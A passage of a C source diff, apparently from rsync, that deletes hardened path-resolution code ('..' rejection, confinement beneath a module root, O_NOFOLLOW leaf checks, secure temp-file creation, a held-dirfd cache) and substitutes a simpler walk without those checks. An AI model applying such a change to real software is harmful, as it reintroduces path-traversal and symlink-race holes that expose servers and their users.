'/')\n-\t\tstrlcpy(ds.abspath, anchor_abspath, sizeof ds.abspath);\n-\tpath_copy = my_strdup(relpath, __FILE__, __LINE__);\n-\tif (!path_copy) {\n-\t\tds_free(&ds);\n-\t\treturn -1;\n-\t}\n-\n-\t/* Trim trailing slashes so the last-component test below is exact, then\n-\t * note the offset of the final component. */\n-\tsize_t pclen = strlen(path_copy);\n-\twhile (pclen > 1 && path_copy[pclen-1] == '/')\n-\t\tpath_copy[--pclen] = '\\0';\n-\tchar *last_slash = strrchr(path_copy, '/');\n-\tsize_t last_off = last_slash ? (size_t)(last_slash + 1 - path_copy) : 0;\n-\n-\tint saw_component = 0;\n-\tchar *psave = NULL;\n-\tfor (char *part = strtok_r(path_copy, \"/\", &psave);\n+\t\n+\tfor (const char *part = strtok(path_copy, \"/\");\n \t     part != NULL;\n-\t     part = strtok_r(NULL, \"/\", &psave))\n+\t     part = strtok(NULL, \"/\"))\n \t{\n-\t\tint is_last = (size_t)(part - path_copy) == last_off;\n-\t\tsaw_component = 1;\n-\n-\t\t/* A literal \".\" or \"..\" is a movement, not a name to open.  It must go\n-\t\t * through ds_descend(), which refuses to pop above the anchor, BEFORE\n-\t\t * the leaf fast paths below -- those openat() the component directly,\n-\t\t * so a final \"..\" would otherwise hand back the anchor's own parent\n-\t\t * (with O_NOFOLLOW) or open it transiently (without O_DIRECTORY). */\n-\t\tif (part[0] == '.'\n-\t\t && (part[1] == '\\0' || (part[1] == '.' && part[2] == '\\0'))) {\n-\t\t\tif (ds_descend(&ds, part, hops) < 0)\n-\t\t\t\tgoto cleanup;\n-\t\t\tif (is_last) {\n-\t\t\t\tif ((flags & O_DIRECTORY)\n-\t\t\t\t && abspath_outside_confinement(ds.abspath, 1))\n-\t\t\t\t\terrno = ELOOP;\n-\t\t\t\telse if (flags & O_DIRECTORY)\n-\t\t\t\t\tretfd = openat(ds_cur(&ds), \".\", flags | O_NOFOLLOW, mode);\n-\t\t\t\telse\n-\t\t\t\t\terrno = EISDIR;\n-\t\t\t\tgoto cleanup;\n-\t\t\t}\n-\t\t\tcontinue;\n-\t\t}\n-\n-\t\t/* File leaf (final component, caller did not ask for O_DIRECTORY):\n-\t\t * never follow a symlink leaf. */\n-\t\tif (is_last && !(flags & O_DIRECTORY)) {\n-\t\t\tif (check_abspath_leaf(ds.abspath, part) < 0)\n-\t\t\t\tgoto cleanup;\n-\t\t\tint next_fd = openat(ds_cur(&ds), part,\n-\t\t\t\t\t     directory_traverse_flags() | O_NOFOLLOW);\n-\t\t\tif (next_fd == -1 && (errno == ENOTDIR || errno == ENOENT)) {\n-\t\t\t\tretfd = openat(ds_cur(&ds), part, flags | O_NOFOLLOW, mode);\n+\t\tint next_fd = openat(dirfd, part, O_RDONLY | O_DIRECTORY | O_NOFOLLOW);\n+\t\tif (next_fd == -1 && errno == ENOTDIR) {\n+\t\t\tif (strtok(NULL, \"/\") != NULL) {\n+\t\t\t\t// this is not the last component of the path\n+\t\t\t\terrno = ELOOP;\n \t\t\t\tgoto cleanup;\n \t\t\t}\n-\t\t\tif (next_fd == -1)\n-\t\t\t\tgoto cleanup;\n-\t\t\tclose(next_fd);\n-\t\t\terrno = EISDIR;\n-\t\t\tgoto cleanup;\n-\t\t}\n-\n-\t\t/* O_DIRECTORY|O_NOFOLLOW leaf: the caller's O_NOFOLLOW governs the leaf. */\n-\t\tif (is_last && (flags & O_NOFOLLOW)) {\n-\t\t\tif (check_abspath_leaf(ds.abspath, part) < 0)\n-\t\t\t\tgoto cleanup;\n-\t\t\tretfd = openat(ds_cur(&ds), part, flags | O_NOFOLLOW, mode);\n-\t\t\tgoto cleanup;\n-\t\t}\n-\n-\t\t/* Directory component (intermediate, or an O_DIRECTORY leaf to follow):\n-\t\t * descend on the stack, following in-tree symlinks. */\n-\t\tif (ds_descend(&ds, part, hops) < 0) {\n-\t\t\tif (!is_last && errno == ENOTDIR)\n-\t\t\t\terrno = ELOOP;\n+\t\t\t// this could be the last component of the path, try as a file\n+\t\t\tretfd = openat(dirfd, part, flags | O_NOFOLLOW, mode);\n \t\t\tgoto cleanup;\n \t\t}\n-\t\tif (is_last) {\n-\t\t\tif (abspath_outside_confinement(ds.abspath, 1)) {\n-\t\t\t\terrno = ELOOP;\n-\t\t\t\tgoto cleanup;\n-\t\t\t}\n-\t\t\tretfd = openat(ds_cur(&ds), \".\", flags | O_NOFOLLOW, mode);\n+\t\tif (next_fd == -1) {\n \t\t\tgoto cleanup;\n \t\t}\n+\t\tif (dirfd != AT_FDCWD) close(dirfd);\n+\t\tdirfd = next_fd;\n \t}\n \n-\t/* Empty relpath: reopen the anchor with the caller's requested directory\n-\t * access, else EISDIR.  An AT_FDCWD anchor is not a resolvable target, so it\n-\t * fails rather than silently returning the cwd. */\n-\tif (!saw_component) {\n-\t\tif ((flags & O_DIRECTORY)\n-\t\t && abspath_outside_confinement(ds.abspath, 1))\n-\t\t\terrno = ELOOP;\n-\t\telse if ((flags & O_DIRECTORY) && anchor_fd != AT_FDCWD)\n-\t\t\tretfd = openat(anchor_fd, \".\", flags | O_NOFOLLOW, mode);\n-\t\telse\n-\t\t\terrno = EISDIR;\n-\t}\n+\t// the path must be a directory\n+\terrno = EINVAL;\n \n cleanup:\n \tfree(path_copy);\n-\tds_free(&ds);\n-\treturn retfd;\n-}\n-#endif /* O_NOFOLLOW && O_DIRECTORY && AT_FDCWD */\n-\n-int secure_relative_open(const char *basedir, const char *relpath, int flags, mode_t mode)\n-{\n-\textern int am_daemon, am_chrooted;\n-\textern char *module_dir;\n-\textern unsigned int module_dirlen;\n-\tchar modrel_buf[MAXPATHLEN];\n-\tint reanchored = 0;\n-\n-\tif (!relpath || relpath[0] == '/') {\n-\t\t// must be a relative path\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\n-\t/* Sanitizing daemon (am_daemon && !am_chrooted) and the /./ inner-module\n-\t * chroot (am_daemon && am_chrooted && module_dirlen) -- both keep the module\n-\t * root, not the cwd, as the trust boundary.  Here we have chdir'd into a\n-\t * sub-dir of the module (the transfer destination), so a relative alt-dest\n-\t * like \"../01\" may legitimately climb to a sibling that is still inside the\n-\t * module (#915).  Confining beneath the cwd would reject that climb.\n-\t * Re-anchor at the module root by prefixing the cwd's module-relative path\n-\t * (from rsync's logical curr_dir[], a guaranteed lexical prefix of\n-\t * module_dir, unlike getcwd()) and resolving beneath module_dir; RESOLVE_\n-\t * BENEATH then allows in-module climbs and still rejects escapes.  Only for\n-\t * paths that contain \"..\".  module_dirlen is 0 for a `path = /` module\n-\t * (clientserver.c), so the non-chroot arm gates on module_dir, not its\n-\t * length, to cover that case too -- the prefix check below treats\n-\t * module_dirlen 0 as \"module root is /\". */\n-\tif (am_daemon && (!am_chrooted || module_dirlen)\n-\t && module_dir && module_dir[0] == '/'\n-\t && (basedir == NULL || basedir[0] != '/')\n-\t && (path_has_dotdot_component(relpath)\n-\t  || (basedir && path_has_dotdot_component(basedir)))) {\n-\t\tconst char *p;\n-\t\tint n;\n-\t\tif (curr_dir_len >= module_dirlen\n-\t\t && strncmp(curr_dir, module_dir, module_dirlen) == 0\n-\t\t && (curr_dir[module_dirlen] == '\\0' || curr_dir[module_dirlen] == '/')) {\n-\t\t\tfor (p = curr_dir + module_dirlen; *p == '/'; p++) {}\n-\t\t\tif (basedir)\n-\t\t\t\tn = snprintf(modrel_buf, sizeof modrel_buf, \"%s%s%s/%s\",\n-\t\t\t\t\t     p, *p ? \"/\" : \"\", basedir, relpath);\n-\t\t\telse\n-\t\t\t\tn = snprintf(modrel_buf, sizeof modrel_buf, \"%s%s%s\",\n-\t\t\t\t\t     p, *p ? \"/\" : \"\", relpath);\n-\t\t\tif (n < 0 || n >= (int)sizeof modrel_buf) {\n-\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tbasedir = module_dir;\t/* absolute, operator-trusted anchor */\n-\t\t\trelpath = modrel_buf;\n-\t\t\treanchored = 1;\n-\t\t}\n-\t\t/* else: cwd not under module root as expected -- fall through to the\n-\t\t * front-door rejection below (fail safe). */\n-\t}\n-\n-\t/* Reject any path with a literal \"..\" component (bare \"..\",\n-\t * \"../foo\", \"foo/..\", \"foo/../bar\", \"subdir/..\") at the front door,\n-\t * with EINVAL, so callers can rely on the validation regardless of\n-\t * platform.  Skipped for a re-anchored path: its \"..\" is deliberate,\n-\t * stays within the module, and is adjudicated safely by the walk\n-\t * below (ds_descend pops a \"../\" to the held parent, never above the\n-\t * anchor). */\n-\tif (!reanchored) {\n-\t\tif (path_has_dotdot_component(relpath)) {\n-\t\t\terrno = EINVAL;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tif (basedir && basedir[0] != '/' && path_has_dotdot_component(basedir)) {\n-\t\t\terrno = EINVAL;\n-\t\t\treturn -1;\n-\t\t}\n-\t}\n-\n-#ifdef O_NOATIME\n-\tif (open_noatime)\n-\t\tflags |= O_NOATIME;\n-#endif\n-\n-#if !defined(O_NOFOLLOW) || !defined(O_DIRECTORY) || !defined(AT_FDCWD)\n-\t// really old system, all we can do is live with the risks\n-\tif (!basedir) {\n-\t\treturn open(relpath, flags, mode);\n-\t}\n-\tchar fullpath[MAXPATHLEN];\n-\tpathjoin(fullpath, sizeof fullpath, basedir, relpath);\n-\treturn open(fullpath, flags, mode);\n-#else\n-\tint dirfd = AT_FDCWD;\t/* anchor for the relpath walk (owned unless AT_FDCWD) */\n-\tint hops = SECURE_OPEN_MAXSYMLINKS;\t/* shared symlink-hop budget */\n-\tif (basedir != NULL) {\n-\t\tif (basedir[0] == '/') {\n-\t\t\t/* Absolute basedir: operator-trusted.  Prefer the identity-pinned\n-\t\t\t * module-root fd when this is the served module, so a dropped-\n-\t\t\t * privilege daemon need not re-traverse the absolute path. */\n-\t\t\tdirfd = open_anchor_dirfd(basedir);\n-\t\t\tif (dirfd == -1)\n-\t\t\t\treturn -1;\n-\t\t} else {\n-\t\t\t/* Relative basedir: resolve it on a dirfd stack anchored at\n-\t\t\t * the CWD, following in-tree directory symlinks -- the\n-\t\t\t * portable RESOLVE_BENEATH equivalent.  A symlink target's\n-\t\t\t * \"..\" may climb but not above the CWD anchor. */\n-\t\t\tstruct dirstack bds;\n-\t\t\tchar *bcopy;\n-\t\t\tif (ds_init(&bds, AT_FDCWD) < 0)\n-\t\t\t\treturn -1;\n-\t\t\tbcopy = my_strdup(basedir, __FILE__, __LINE__);\n-\t\t\tif (!bcopy) {\n-\t\t\t\tds_free(&bds);\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tif (ds_walk_path(&bds, bcopy, &hops) < 0) {\n-\t\t\t\tint e = errno;\n-\t\t\t\tfree(bcopy);\n-\t\t\t\tds_free(&bds);\n-\t\t\t\terrno = e;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tfree(bcopy);\n-\t\t\tdirfd = ds_take(&bds);\t\t/* owned dirfd for the basedir */\n-\t\t\tds_free(&bds);\n-\t\t\tif (dirfd == -1)\n-\t\t\t\treturn -1;\n-\t\t}\n-\t}\n-\n-\t/* Absolute path of the anchor, for the exclude-aware refusal: the cwd (==\n-\t * module root for a daemon) when AT_FDCWD, or an operator-trusted absolute\n-\t * basedir.  A relative basedir's resolved abspath isn't tracked, so leave it\n-\t * unseeded (the refusal is then a no-op for that uncommon case). */\n-\tconst char *anchor_abspath = !basedir ? curr_dir\n-\t\t\t\t   : (basedir[0] == '/' ? basedir : NULL);\n-\tint retfd = secure_walk_at(dirfd, anchor_abspath, relpath, flags, mode, &hops);\n-\tif (dirfd != AT_FDCWD)\n+\tif (dirfd != AT_FDCWD) {\n \t\tclose(dirfd);\n+\t}\n \treturn retfd;\n #endif // O_NOFOLLOW, O_DIRECTORY\n }\n \n-/* Resolve a directory for traversal or as *at()/fchdir() authority.  Callers\n- * that read directory entries or need a read-capable fd must continue to use\n- * secure_relative_open(..., O_RDONLY | O_DIRECTORY, ...). */\n-int secure_relative_dirfd(const char *basedir, const char *relpath)\n-{\n-\treturn secure_relative_open(basedir, relpath, directory_traverse_flags(), 0);\n-}\n-\n-/* Common fd-anchored resolver.  A caller may explicitly allow literal \"..\"\n- * components when the fd itself is the confinement boundary: secure_walk_at()\n- * resolves each one by popping its held-dirfd stack and refuses a pop above the\n- * anchor.  Other callers retain the front-door validation used by\n- * secure_relative_open(). */\n-static int secure_relative_open_at_internal(int anchor_fd, const char *relpath,\n-\t\t\t\t\t    int flags, mode_t mode, int allow_dotdot)\n-{\n-#if !defined(O_NOFOLLOW) || !defined(O_DIRECTORY) || !defined(AT_FDCWD)\n-\t(void)anchor_fd; (void)relpath; (void)flags; (void)mode; (void)allow_dotdot;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#else\n-\tint hops = SECURE_OPEN_MAXSYMLINKS;\n-\tif (!relpath || relpath[0] == '/') {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\tif (!allow_dotdot && path_has_dotdot_component(relpath)) {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-#ifdef O_NOATIME\n-\tif (open_noatime)\n-\t\tflags |= O_NOATIME;\n-#endif\n-\t/* The anchor fd's absolute path isn't known here (it may be a held module\n-\t * root or a climbed-to dir), so leave the abspath tracker unseeded; the\n-\t * exclude-aware refusal is a no-op for this entry point. */\n-\treturn secure_walk_at(anchor_fd, NULL, relpath, flags, mode, &hops);\n-#endif\n-}\n-\n-/* Like secure_relative_open() but anchored at an already-open directory fd\n- * (borrowed -- the caller keeps ownership) rather than a basedir path.  Lets a\n- * caller pin the trust root once -- e.g. a daemon's module root opened while\n- * still privileged -- and resolve a relative path beneath it without re-walking\n- * the absolute path as a dropped-privilege uid.  The ordinary entry point keeps\n- * rejecting literal \"..\" components as suspicious caller input. */\n-int secure_relative_open_at(int anchor_fd, const char *relpath, int flags, mode_t mode)\n-{\n-\treturn secure_relative_open_at_internal(anchor_fd, relpath, flags, mode, 0);\n-}\n-\n-/* Resolve a path that may contain literal \"..\" beneath a trusted anchor fd.\n- * Used for a followed symlink target, where parent-relative components are\n- * normal pathname semantics.  The held-fd stack still refuses every escape\n- * above anchor_fd. */\n-int secure_relative_open_at_beneath(int anchor_fd, const char *relpath,\n-\t\t\t\t    int flags, mode_t mode)\n-{\n-\treturn secure_relative_open_at_internal(anchor_fd, relpath, flags, mode, 1);\n-}\n-\n-int secure_relative_dirfd_at_beneath(int anchor_fd, const char *relpath)\n-{\n-\treturn secure_relative_open_at_internal(anchor_fd, relpath,\n-\t\t\t\t\t\tdirectory_traverse_flags(), 0, 1);\n-}\n-\n-#if defined O_NOFOLLOW && defined AT_FDCWD\n-/* Fill buf with len random bytes.  Prefers /dev/urandom for cryptographic\n- * quality; falls back to rand() if /dev/urandom cannot be opened or read\n- * (e.g. inside a chroot or container without /dev populated). */\n-static void rand_bytes(unsigned char *buf, size_t len)\n-{\n-\tint fd = open(\"/dev/urandom\", O_RDONLY | O_CLOEXEC);\n-\tif (fd >= 0) {\n-\t\tssize_t n = read(fd, buf, len);\n-\t\tclose(fd);\n-\t\tif (n == (ssize_t)len) {\n-\t\t\treturn;\n-\t\t}\n-\t}\n-\tfor (size_t i = 0; i < len; i++) {\n-\t\tbuf[i] = (unsigned char)rand();\n-\t}\n-}\n-#endif\n-\n-/* Create a unique temp file directly in directory `dfd` for the held-dirfd\n- * traversal: `filename` is the basename ending in \"XXXXXX\", rewritten in place\n- * to the chosen name.  O_EXCL|O_NOFOLLOW so a planted name can't be followed or\n- * clobbered.  Does NOT close dfd (the caller owns it).  Returns the fd, or -1.\n- * This is the create loop shared with secure_mkstemp(). */\n-int do_mkstemp_atfd(int dfd, char *filename, mode_t perms)\n-{\n-#if defined O_NOFOLLOW && defined AT_FDCWD\n-\tstatic const char letters[] = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n-\tsize_t filename_len = strlen(filename);\n-\tchar *suffix;\n-\tint fd = -1;\n-\n-\tif (filename_len < 6) {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\tsuffix = filename + filename_len - 6; /* Points to XXXXXX */\n-\tif (strcmp(suffix, \"XXXXXX\") != 0) {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\n-\tperms |= S_IWUSR;\n-\tfor (int tries = 0; tries < 100; tries++) {\n-\t\tunsigned char rbytes[6];\n-\t\trand_bytes(rbytes, sizeof(rbytes));\n-\t\tfor (int i = 0; i < 6; i++)\n-\t\t\tsuffix[i] = letters[rbytes[i] % (sizeof(letters) - 1)];\n-\n-\t\tfd = openat(dfd, filename, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, perms);\n-\t\tif (fd >= 0)\n-\t\t\tbreak;\n-\t\tif (errno != EEXIST)\n-\t\t\treturn -1;\n-\t}\n-\n-\tif (fd >= 0) {\n-\t\tif (fchmod(fd, perms) != 0 && preserve_perms) {\n-\t\t\tint errno_save = errno;\n-\t\t\tclose(fd);\n-\t\t\tunlinkat(dfd, filename, 0);\n-\t\t\terrno = errno_save;\n-\t\t\treturn -1;\n-\t\t}\n-#if defined HAVE_SETMODE && O_BINARY\n-\t\tsetmode(fd, O_BINARY);\n-#endif\n-\t}\n-\treturn fd;\n-#else\n-\t(void)dfd; (void)filename; (void)perms;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-/*\n-  Secure version of mkstemp that prevents symlink attacks on parent directories.\n-  Like secure_relative_open(), this walks the path checking each component\n-  with O_NOFOLLOW to prevent TOCTOU race conditions.\n-\n-  The template may be relative or absolute, but must not contain ../ components.\n-  Returns fd on success, -1 on error.\n-*/\n-int secure_mkstemp(char *template, mode_t perms, int operator_path)\n-{\n-#if !defined(O_NOFOLLOW) || !defined(O_DIRECTORY) || !defined(AT_FDCWD)\n-\t/* Fall back to regular mkstemp on old systems */\n-\treturn do_mkstemp(template, perms);\n-#else\n-\tchar *lastslash;\n-\tint dirfd = AT_FDCWD;\n-\tint fd = -1;\n-\n-\tif (!template) {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\tif (strncmp(template, \"../\", 3) == 0 || strstr(template, \"/../\")) {\n-\t\terrno = EINVAL;\n-\t\treturn -1;\n-\t}\n-\n-\t/* An operator-supplied --temp-dir may point outside the tree; --insecure-links\n-\t * (or a daemon module's \"insecure links =\") restores legacy following. */\n-\tif (operator_path && symlink_optout_allowed())\n-\t\treturn do_mkstemp(template, perms);\n-\n-\t/* Open the temp file's directory.  For an operator --temp-dir use the\n-\t * ownership walk (follow a uid0/euid-owned symlink, refuse a foreign one,\n-\t * absolute and relative alike); otherwise -- the deep-entry-dir fallback when\n-\t * the held-dirfd cache declines -- use the strict transfer-path resolver\n-\t * (refuse all symlinks, confine beneath the transfer root).  The temp file\n-\t * itself is created below with O_EXCL|O_NOFOLLOW, so a planted name can't be\n-\t * followed either way. */\n-\tlastslash = strrchr(template, '/');\n-\tif (lastslash) {\n-\t\tchar dirbuf[MAXPATHLEN];\n-\t\tsize_t dlen = lastslash - template;\n-\t\tconst char *dir;\n-\t\tif (dlen == 0)\n-\t\t\tdir = \"/\";\n-\t\telse {\n-\t\t\tif (dlen >= sizeof dirbuf) {\n-\t\t\t\terrno = ENAMETOOLONG;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tmemcpy(dirbuf, template, dlen);\n-\t\t\tdirbuf[dlen] = '\\0';\n-\t\t\tdir = dirbuf;\n-\t\t}\n-\t\tdirfd = operator_path\n-\t\t      ? open_no_attacker_symlinks_dirfd(dir)\n-\t\t      : secure_relative_dirfd(dir, \".\");\n-\t\tif (dirfd < 0)\n-\t\t\treturn -1;\n-\t}\n-\n-\t/* Create the temp file in the securely-opened directory. */\n-\t{\n-\t\tchar *filename = lastslash ? lastslash + 1 : template;\n-\t\tint e;\n-\t\tfd = do_mkstemp_atfd(dirfd, filename, perms);\n-\t\te = errno;\n-\t\tif (dirfd != AT_FDCWD) close(dirfd);\n-\t\terrno = e;\n-\t}\n-\treturn fd;\n-#endif\n-}\n-\n /*\n   varient of do_open/do_open_nofollow which does do_open() if the\n   copy_links or copy_unsafe_links options are set and does\n@@ -3687,538 +806,5 @@ int do_open_checklinks(const char *pathname)\n \tif (copy_links || copy_unsafe_links) {\n \t\treturn do_open(pathname, O_RDONLY, 0);\n \t}\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (am_sender && !am_daemon && files_from\n-\t && !copy_dirlinks && !symlink_optout_allowed()) {\n-\t\tconst char *bname;\n-\t\tint dfd, fd, save_errno, open_flags = O_RDONLY | O_NOFOLLOW;\n-\n-\t\tdfd = owner_walk_parent(pathname, &bname);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-#ifdef O_NOATIME\n-\t\tif (open_noatime)\n-\t\t\topen_flags |= O_NOATIME;\n-#endif\n-\t\tfd = openat(dfd, bname, open_flags, 0);\n-\t\tsave_errno = fd < 0 ? errno : 0;\n-\t\tclose(dfd);\n-\t\terrno = save_errno;\n-\t\treturn fd;\n-\t}\n-#endif\n \treturn do_open_nofollow(pathname, O_RDONLY);\n }\n-\n-/* Held-directory-fd traversal.\n- *\n- * Rather than re-resolve a full path on every syscall (do_*_at() re-opens the\n- * parent via secure_relative_open() each call), the generator and receiver\n- * open each directory ONCE via open_dir_secure() and issue single-component\n- * *at() ops against that held dirfd with the do_*_atfd() wrappers below.  The\n- * parent is a pinned fd, not re-resolved, so the per-entry symlink-race window\n- * is closed and the re-resolution overhead is gone.\n- *\n- * open_dir_secure() owns both the authority gate and the resolver choice: it\n- * returns a held dirfd only when hardened resolution is in effect, else -1\n- * with errno==0 so the caller falls back to the do_*_at() wrappers\n- * (behaviour-neutral).  The do_*_atfd() wrappers are thin shims with the same\n- * leaf semantics as do_*_at() (dry-run/read-only guards, AT_SYMLINK_NOFOLLOW,\n- * fake-super placeholder files); they never re-check the gate or re-resolve a\n- * parent. */\n-\n-int open_dir_secure(const char *dirname)\n-{\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tint dfd;\n-\n-\t/* Authority gate, identical to the do_*_at() wrappers.  When hardened\n-\t * resolution isn't in effect, return -1 with errno cleared so the caller\n-\t * uses the full-path wrappers. */\n-\tif (!secure_relpath_active()) {\n-\t\terrno = 0;\n-\t\treturn -1;\n-\t}\n-\n-\tif (!dirname || !*dirname) {\n-\t\t/* The transfer root itself (file->dirname == NULL): the cwd. */\n-\t\tdfd = openat(AT_FDCWD, \".\", directory_traverse_flags());\n-\t} else if (dirname[0] == '/') {\n-\t\t/* An absolute dirname is not expected for an in-transfer entry;\n-\t\t * leave it to the legacy path. */\n-\t\terrno = 0;\n-\t\treturn -1;\n-\t} else {\n-\t\tdfd = secure_relative_dirfd(NULL, dirname);\n-\t}\n-\n-\tif (dfd >= 0) {\n-\t\t/* O_CLOEXEC on every tier (the per-component walk fallback\n-\t\t * doesn't thread our flags onto the returned dirfd). */\n-\t\tint fl = fcntl(dfd, F_GETFD);\n-\t\tif (fl >= 0)\n-\t\t\tfcntl(dfd, F_SETFD, fl | FD_CLOEXEC);\n-\t}\n-\treturn dfd;\n-#else\n-\t(void)dirname;\n-\terrno = 0;\n-\treturn -1;\n-#endif\n-}\n-\n-/* Persistent ancestor-dirfd stack for held-directory traversal.\n- *\n- * The transfer's file list is path-sorted, so iterating it walks the tree in\n- * DFS order and consecutive directory resolutions share a long leading prefix.\n- * Rather than re-resolve a full path from the anchor each time (re-opening\n- * every ancestor dir per file), we keep the whole current ancestor chain open\n- * as pinned, race-safe dirfds and, on the next resolution, reuse the longest\n- * common component prefix -- popping only the divergent tail and descending the\n- * new tail.  Each directory is then opened once while we are inside its subtree.\n- *\n- * The chain is relative to the process cwd (for a NULL anchor), so change_dir()\n- * drops it on any real chdir; it otherwise persists across flist chunks (the\n- * pinned fds stay valid, and a raced/replaced ancestor resolves to the original\n- * inode the fd holds -- the held-dirfd race-safety property, not a hazard).\n- * Each component is resolved with ds_descend(), which follows in-tree directory\n- * symlinks exactly as secure_relative_open() does; only the resolved dir fd is\n- * kept (intermediate symlink-target fds are closed -- sound, since an open\n- * dirfd needs no live parent). */\n-#if defined AT_FDCWD && defined O_NOFOLLOW && defined O_DIRECTORY\n-#define DPC_MAXDEPTH 64\n-static const char *dpc_anchor = (const char *)-2;\n-static int dpc_base = -1;\t\t\t/* opened anchor dir (owned), or -1 */\n-static int dpc_fd[DPC_MAXDEPTH];\t\t/* dpc_fd[i] = dir after components 0..i */\n-static char dpc_name[DPC_MAXDEPTH][256];\t/* textual component names */\n-static int dpc_depth = 0;\n-\n-void reset_dir_fd_cache(void)\n-{\n-\twhile (dpc_depth > 0)\n-\t\tclose(dpc_fd[--dpc_depth]);\n-\tif (dpc_base >= 0)\n-\t\tclose(dpc_base);\n-\tdpc_base = -1;\n-\tdpc_anchor = (const char *)-2;\n-}\n-\n-/* Resolve directory `dirpath` beneath `anchor` (NULL = cwd, else an absolute\n- * trusted root), reusing the held ancestor stack.  Returns a BORROWED dirfd\n- * owned by the cache (do NOT close), or -1 (errno preserved for a real open\n- * error, errno==0 for an uncacheable path -- \"..\", too deep/long, or a relative\n- * non-cwd anchor) so the caller can fall back to secure_relative_open(). */\n-static int dpc_dir_fd(const char *anchor, const char *dirpath)\n-{\n-\tchar copy[MAXPATHLEN];\n-\tchar *comps[DPC_MAXDEPTH];\n-\tchar *sv = NULL;\n-\tint nc = 0, p, i;\n-\n-\tif (anchor && anchor[0] != '/') { errno = 0; return -1; }\n-\tif (!dirpath)\n-\t\tdirpath = \"\";\n-\tif (dirpath[0] == '/') { errno = 0; return -1; }\n-\n-\tif (anchor != dpc_anchor || dpc_base < 0) {\n-\t\tint fl;\n-\t\treset_dir_fd_cache();\n-\t\tdpc_base = open_anchor_dirfd(anchor ? anchor : \".\");\n-\t\tif (dpc_base < 0)\n-\t\t\treturn -1;\n-\t\tif ((fl = fcntl(dpc_base, F_GETFD)) >= 0)\n-\t\t\tfcntl(dpc_base, F_SETFD, fl | FD_CLOEXEC);\n-\t\tdpc_anchor = anchor;\n-\t}\n-\n-\tif (strlcpy(copy, dirpath, sizeof copy) >= sizeof copy) { errno = ENAMETOOLONG; return -1; }\n-\tfor (char *c = strtok_r(copy, \"/\", &sv); c; c = strtok_r(NULL, \"/\", &sv)) {\n-\t\tif (c[0] == '.' && c[1] == '\\0')\n-\t\t\tcontinue;\t\t\t\t\t/* \".\" */\n-\t\tif (c[0] == '.' && c[1] == '.' && c[2] == '\\0') { errno = 0; return -1; }\n-\t\tif (nc >= DPC_MAXDEPTH || strlen(c) >= sizeof dpc_name[0]) {\n-\t\t\t/* Too deep / a too-long component to cache.  Release the held\n-\t\t\t * ancestor fds first so the caller's full-path fallback walk does\n-\t\t\t * not stack on top of them: a deep tree plus a low RLIMIT_NOFILE\n-\t\t\t * (e.g. OpenBSD's default 128) would otherwise exhaust descriptors\n-\t\t\t * (cache depth + walk depth). */\n-\t\t\treset_dir_fd_cache();\n-\t\t\terrno = 0;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tcomps[nc++] = c;\n-\t}\n-\n-\t/* Reuse the longest common prefix; drop the divergent tail. */\n-\tfor (p = 0; p < dpc_depth && p < nc && strcmp(dpc_name[p], comps[p]) == 0; p++)\n-\t\t;\n-\twhile (dpc_depth > p)\n-\t\tclose(dpc_fd[--dpc_depth]);\n-\n-\t/* Descend the new tail, holding each resolved component. */\n-\tfor (i = p; i < nc; i++) {\n-\t\tint afd = dpc_depth > 0 ? dpc_fd[dpc_depth-1] : dpc_base;\n-\t\tstruct dirstack ds;\n-\t\tint hops = SECURE_OPEN_MAXSYMLINKS;\n-\t\tint fd, fl;\n-\t\tif (ds_init(&ds, afd) < 0)\n-\t\t\treturn -1;\n-\t\tif (ds_descend(&ds, comps[i], &hops) < 0) {\n-\t\t\tint e = errno;\n-\t\t\tds_free(&ds);\n-\t\t\terrno = e;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tfd = ds_take(&ds);\n-\t\tds_free(&ds);\t\t\t\t/* closes intermediate symlink fds, not afd */\n-\t\tif (fd < 0)\n-\t\t\treturn -1;\n-\t\tif ((fl = fcntl(fd, F_GETFD)) >= 0)\n-\t\t\tfcntl(fd, F_SETFD, fl | FD_CLOEXEC);\n-\t\tstrlcpy(dpc_name[dpc_depth], comps[i], sizeof dpc_name[0]);\n-\t\tdpc_fd[dpc_depth++] = fd;\n-\t}\n-\n-\treturn nc > 0 ? dpc_fd[dpc_depth-1] : dpc_base;\n-}\n-\n-/* Public entry for the sender (no secure_relpath_active gate: its send paths\n- * confine unconditionally).  Borrowed fd; -1 => caller uses the full walk. */\n-int held_dir_path_fd(const char *anchor, const char *dirpath)\n-{\n-\treturn dpc_dir_fd(anchor, dirpath);\n-}\n-\n-int get_dir_fd(const char *dirname)\n-{\n-\tif (!secure_relpath_active()) { errno = 0; return -1; }\n-\treturn dpc_dir_fd(NULL, dirname);\n-}\n-#else\n-void reset_dir_fd_cache(void)\n-{\n-}\n-int held_dir_path_fd(const char *anchor, const char *dirpath)\n-{\n-\t(void)anchor;\n-\t(void)dirpath;\n-\terrno = 0;\n-\treturn -1;\n-}\n-int get_dir_fd(const char *dirname)\n-{\n-\t(void)dirname;\n-\terrno = 0;\n-\treturn -1;\n-}\n-#endif\n-\n-/* Return the cached current-directory fd iff `path` lives directly in the\n- * entry's own directory (file->dirname) -- the common case for held-dirfd\n- * traversal.  Returns -1 (caller falls back to the do_*_at() wrappers) for\n- * anything elsewhere: --temp-dir/--partial-dir/--backup-dir, an absolute path,\n- * a differently-nested dir, or when open_dir_secure() is 